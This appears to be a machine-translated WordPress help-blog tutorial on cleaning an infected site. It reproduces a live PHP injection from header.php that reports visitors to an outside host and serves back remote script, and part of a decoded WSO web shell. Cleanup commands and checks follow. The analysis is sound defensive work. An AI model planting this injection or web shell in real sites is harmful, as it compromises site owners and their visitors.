Видалення WordPress PHP Вірус

Цей підручник представляє окремий випадок, коли блог WordPress воно було заражене. Видалення WordPress Вірус PHP.

Днями я помітив підозрілий код, схожий на PHP-вірус WordPress. Наступний код PHP був присутній у header.php, перед рядком </head>.

<?php $wp_rssh = 'http'; $wp_gt = 'web'; error_reporting(0); ini_set('display_errors',0); $wp_uagent = @$_SERVER['HTTP_USER_AGENT'];
if (( preg_match ('/Firefox|MSIE/i', $wp_uagent) && preg_match ('/ NT/i', $wp_uagent))){
$wp_gturl=$wp_rssh."://".$wp_gt.$wp_rssh."s.com/".$wp_gt."/?ip=".$_SERVER['REMOTE_ADDR']."&referer=".urlencode($_SERVER['HTTP_HOST'])."&ua=".urlencode($wp_uagent);
$ch = curl_init(); curl_setopt ($ch, CURLOPT_URL,$wp_gturl);
curl_setopt ($ch, CURLOPT_TIMEOUT, 10); $wp_cntnt = curl_exec ($ch); curl_close($ch);}
if ( substr($wp_cntnt,1,3) === 'scr' ){ echo $wp_cntnt; } ?>

Це деякий код PHP, який виглядає так, ніби він намагається отримати вміст ресурсу із зовнішнього сервера, але частина, яка посилається на URL-адресу, є неповною.

Механізм роботи дещо складніший і робить це WordPress Вірус PHP невидимий для відвідувачів уражених сайтів. Натомість він націлений на пошукові системи (Google) і неявно призводить до значного зменшення кількості відвідувачів уражених веб-сайтів.

Відомості про зловмисне програмне забезпечення WordPress PHP Вірус

1. Наведений вище код присутній у header.php.

2. На сервері з'явився файл wp-log.php в папці wp-includes.

3. wp-log.php містить зашифрований код, але який відносно легко розшифрувати.

<?php eval(gzinflate(base64_decode('7b1rd../Fw=='))) ?>

Розшифрувати шкідливий код з wp-log.php :

<?php
$auth_pass = "md5password";
$color = "#df5";
$default_action = 'FilesMan';
$default_use_ajax = true;
$default_charset = 'Windows-1251';
#+Dump Columns ////Boolean
if(!empty($_SERVER['HTTP_USER_AGENT'])) {
    $userAgents = array("Google", "Slurp", "MSNBot", "ia_archiver", "Yandex", "Rambler" );
    if(preg_match('/' . implode('|', $userAgents) . '/i', $_SERVER['HTTP_USER_AGENT'])) {
        header('HTTP/1.0 404 Not Found');
        exit;
    }
}

@ini_set('error_log',NULL);
@ini_set('log_errors',0);
@ini_set('max_execution_time',0);
@set_time_limit(0);
@set_magic_quotes_runtime(0);
@define('WSO_VERSION', '2.5');

if(get_magic_quotes_gpc()) {
    function WSOstripslashes($array) {
        return is_array($array) ? array_map('WSOstripslashes', $array) : stripslashes($array);
    }
    $_POST = WSOstripslashes($_POST);
    $_COOKIE = WSOstripslashes($_COOKIE);
}

function wsoLogin() {
    die("
<pre align=center-->

<form method="post"><input name="pass" type="password" /><input type="submit" value="" /></form>" );
}

function WSOsetcookie($k, $v) {
$_COOKIE[$k] = $v;
setcookie($k, $v);
}

if(!empty($auth_pass)) {
if(isset($_POST['pass']) &amp;&amp; (md5($_POST['pass']) == $auth_pass))
WSOsetcookie(md5($_SERVER['HTTP_HOST']), $auth_pass);

if (!isset($_COOKIE[md5($_SERVER['HTTP_HOST'])]) || ($_COOKIE[md5($_SERVER['HTTP_HOST'])] != $auth_pass))
wsoLogin();
}

if(strtolower(substr(PHP_OS,0,3)) == "win" )
$os = 'win';
else
$os = 'nix';

$safe_mode = @ini_get('safe_mode');
if(!$safe_mode)
error_reporting(0);

$disable_functions = @ini_get('disable_functions');
$home_cwd = @getcwd();
if(isset($_POST['c']))
@chdir($_POST['c']);
$cwd = @getcwd();
if($os == 'win') {
$home_cwd = str_replace("\\", "/", $home_cwd);
$cwd = str_replace("\\", "/", $cwd);
}
if($cwd[strlen($cwd)-1] != '/')
$cwd .= '/';
?>

Схоже, що це шкідливий сценарій PHP, який містить код для обробки автентифікації та дій із файлами та каталогами на сервері. Дуже легко видно, що цей скрипт містить такі змінні, як $auth_pass (пароль автентифікації), $default_action (дія за замовчуванням), $default_use_ajax (за замовчуванням використовується Ajax) і $default_charset (налаштування символів за замовчуванням).

Очевидно, цей сценарій має розділ, який перевіряє агенти користувача HTTP, щоб заблокувати доступ до певних веб-ботів, наприклад пошукових систем. Він також має розділ, який перевіряє режим безпеки PHP і встановлює певні робочі каталоги.

4. Якщо доступ до wp-log.php доступний у браузері, з’являється веб-сторінка з полем вхід. На перший погляд здається, що це файловий менеджер, за допомогою якого нові файли можна легко завантажити на цільовий сервер.

Як девірусувати сайт WordPress?

Завжди процес ручного видалення вірусів передбачає спочатку виявлення та розуміння вразливості.

1. Створіть резервну копію всього веб-сайту. Це має включати як файли, так і базу даних.

2. Визначте приблизний період існування вірусу та здійсніть пошук на веб-сервері змінених або новостворених файлів протягом приблизного періоду часу.

Наприклад, якщо ви хочете переглянути файли .php створений або змінений за останній тиждень, виконайте команду на сервері:

find /your/web/path -type f -mtime -7 -exec ls -l {} \; | grep "\.php$"

Це простий спосіб, за допомогою якого ви можете розкрити файли WordPress заражені та містять шкідливий код.

3. Перевірте файл .htaccess підозрілих директив. Рядки дозволів або виконання сценарію.

4. Перевірте базу даних. Цілком можливо, що деякі пости та сторінки WordPress редагувати зловмисне програмне забезпечення або додавати нові користувачі з роллю administrator.

5. Перевірте права на запис для папок і файлів. chmod şi chown.

Рекомендовані дозволи: 644 для файлів і 755 для каталогів.

find /web/root/public/ -type f -exec chmod 644 {} \;
find /web/root/public/ -type d -exec chmod 755 {} \;

6. Оновити все WordPress Plugins / WordPress Themes.

За темою: Fix Redirect WordPress Hack 2023 (Вірус перенаправлення)

Це «базові» методи, за допомогою яких можна девірусувати сайт/блог WordPress. Якщо у вас виникли проблеми і потрібна допомога, відкритий розділ коментарів.

Захоплений технологіями, з 2006 року з радістю пишу на StealthSettings.com. Маю багаторічний досвід роботи з операційними системами: macOS, Windows і Linux, а також з мовами програмування і платформами для блогів (WordPress) та онлайн-магазинів (WooCommerce, Magento, PrestaShop).

Як записатися » WordPress » Видалення WordPress PHP Вірус
Залишити коментар